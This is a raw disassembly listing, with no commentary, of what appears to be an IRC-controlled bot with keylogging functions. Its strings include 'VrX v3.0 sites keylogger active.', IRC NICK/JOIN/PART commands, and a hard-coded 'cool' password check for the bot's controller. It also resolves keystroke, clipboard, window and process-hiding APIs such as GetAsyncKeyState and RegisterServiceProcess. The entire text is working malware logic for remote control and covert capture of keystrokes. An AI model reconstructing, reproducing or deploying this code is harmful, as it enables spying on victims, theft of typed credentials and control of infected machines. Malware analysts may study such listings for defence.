sub_401ACD+4434j ; sub_401ACD+444Bj push edi ; Str push 23h ; int push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; int push [ebp+arg_4] ; int call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi ; Str2 mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call _strcmp pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+Format] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+Format] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi ; Format lea eax, [ebp+var_A90] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi ; Str2 push offset aNormal_0 ; "normal" call _strcmp pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+Format] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi ; Format lea eax, [ebp+var_A90] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dst] pop ecx push ebx ; int push 23h ; int push eax ; Source call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_4126A7 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi ; Filename call _fopen mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi ; File lea eax, [ebp+Dst] push ebx ; MaxCount push eax ; Buf call _fgets add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 push esi ; File lea eax, [ebp+Dst] push ebx ; MaxCount push eax ; Buf call _fgets add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi ; File call _fclose pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi ; Dest call _strcat push esi ; Str call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+Dst] push offset asc_42A03C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax ; Format call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset asc_42A000 ; "-" loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh ; Count lea eax, [ebp+var_2084] push edi ; Source push eax ; Dest call _strncpy mov esi, [ebp+esi+Format] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh ; Count lea eax, [ebp+var_2004] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh ; Count lea eax, [ebp+var_1F84] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+Dst] push offset asc_429FE8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ch ; int push eax ; Source call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h call ds:dword_427080 ; Sleep jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset asc_429FA8 ; "-" loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx ; Source push [ebp+Format] ; int push [ebp+arg_4] ; int push edi ; Str call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h ; Size lea eax, [ebp+var_1D4C] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_6 ; "%s" push eax ; Dest call _sprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax ; Format lea eax, [ebp+var_1C34] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+Dst] push offset asc_429F6C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset sub_4161C1 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h call ds:dword_427080 ; Sleep jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi call ds:dword_427088 ; DeleteFileA test eax, eax jz short loc_4091C7 push edi push offset asc_429F50 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi ; Str call _atoi push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset asc_429EFC ; "-" loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx ; int push ebx ; int push edi ; Str2 push [ebp+var_4] ; int push ebx ; Str push [ebp+arg_4] ; int call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C ; gethostbyaddr cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+Dst] push offset asc_429E8C ; "-" push eax ; Dest call _sprintf loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 ; gethostbyname cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 ; inet_ntoa push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh ; Count push edi ; Source push [ebp+arg_14] ; Dest call _strncpy add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi ; Str call _atoi test eax, eax pop ecx jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40AE84 add esp, 10h push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi ; Str call _atoi test eax, eax pop ecx jle loc_401F75 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409823 pop ecx pop ecx push 1F4h call ds:dword_427080 ; Sleep push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C ; closesocket push [ebp+var_10] push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E924[eax] call ds:dword_4270B4 ; TerminateThread push edi ; Str call _atoi imul eax, 234h push edi ; Str mov dword_43E924[eax], ebx call _atoi imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi ; Str2 push offset aAll ; "all" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+File], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov eax, [ebp+File] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi ; Str call _atoi push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset asc_429D34 ; "-" loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+Dst] push eax call sub_415D38 add [ebp+File], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi ; Args push offset aS ; "%s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi ; Args push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+Format] push edi ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409823 pop ecx lea eax, [ebp+Dst] pop ecx push edi push offset unk_429C98 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415D38 push edi ; Str call _atoi add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax call ds:dword_427080 ; Sleep loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409823 pop ecx lea eax, [ebp+Dst] pop ecx push edi push offset unk_429C70 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415D38 push edi ; Str call _atoi add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push dword ptr [ebp+esi+Args] ; Str1 xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax ; int lea eax, [ebp+Str1] push dword_42909C ; int push eax ; Dest call sub_40AE84 add esp, 10h lea eax, [ebp+Str1] push eax ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch lea eax, [ebp+Str1] push eax ; Args push offset unk_429C4C ; Format loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+File] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset Delim ; "!" push [ebp+var_90] ; Str call _strtok mov esi, eax push offset word_4CB88C ; Delim push ebx ; Str inc esi call _strtok push offset asc_429C48 ; "~" push eax ; Str call _strtok push [ebp+arg_20] ; Str2 mov edi, eax push offset aCool ; "cool" call _strcmp add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+File], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+File] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+File], 4 cmp [ebp+File], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] ; Str2 push offset aCool ; "cool" call _strcmp pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh ; Count push eax ; Source push esi ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx ; int push [ebp+var_4] ; int push offset unk_429B54 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax ; Args push offset unk_429B34 ; Format loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+Source] ; Args push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+Source] ; Args push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409823(int,char *Format,char Args) sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... Dest = byte ptr -200h arg_0 = dword ptr 8 Format = dword ptr 0Ch Args = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 200h ; Count push eax ; Dest call __vsnprintf add esp, 10h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CBA24 ; send leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409869(int,char *Str,int,int,int) sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi ; Str call _strlen push [ebp+Str] ; Str mov esi, 1FAh sub esi, eax call _strlen pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_6 ; "%s" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+Dest] push [ebp+Str] push edi push offset aSSS_1 ; "%s %s :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h call ds:dword_427080 ; Sleep locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp push ebx push ebp mov ebp, ds:dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi ; GetProcAddress cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4270C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi ; GetProcAddress cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi ; GetProcAddress cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E 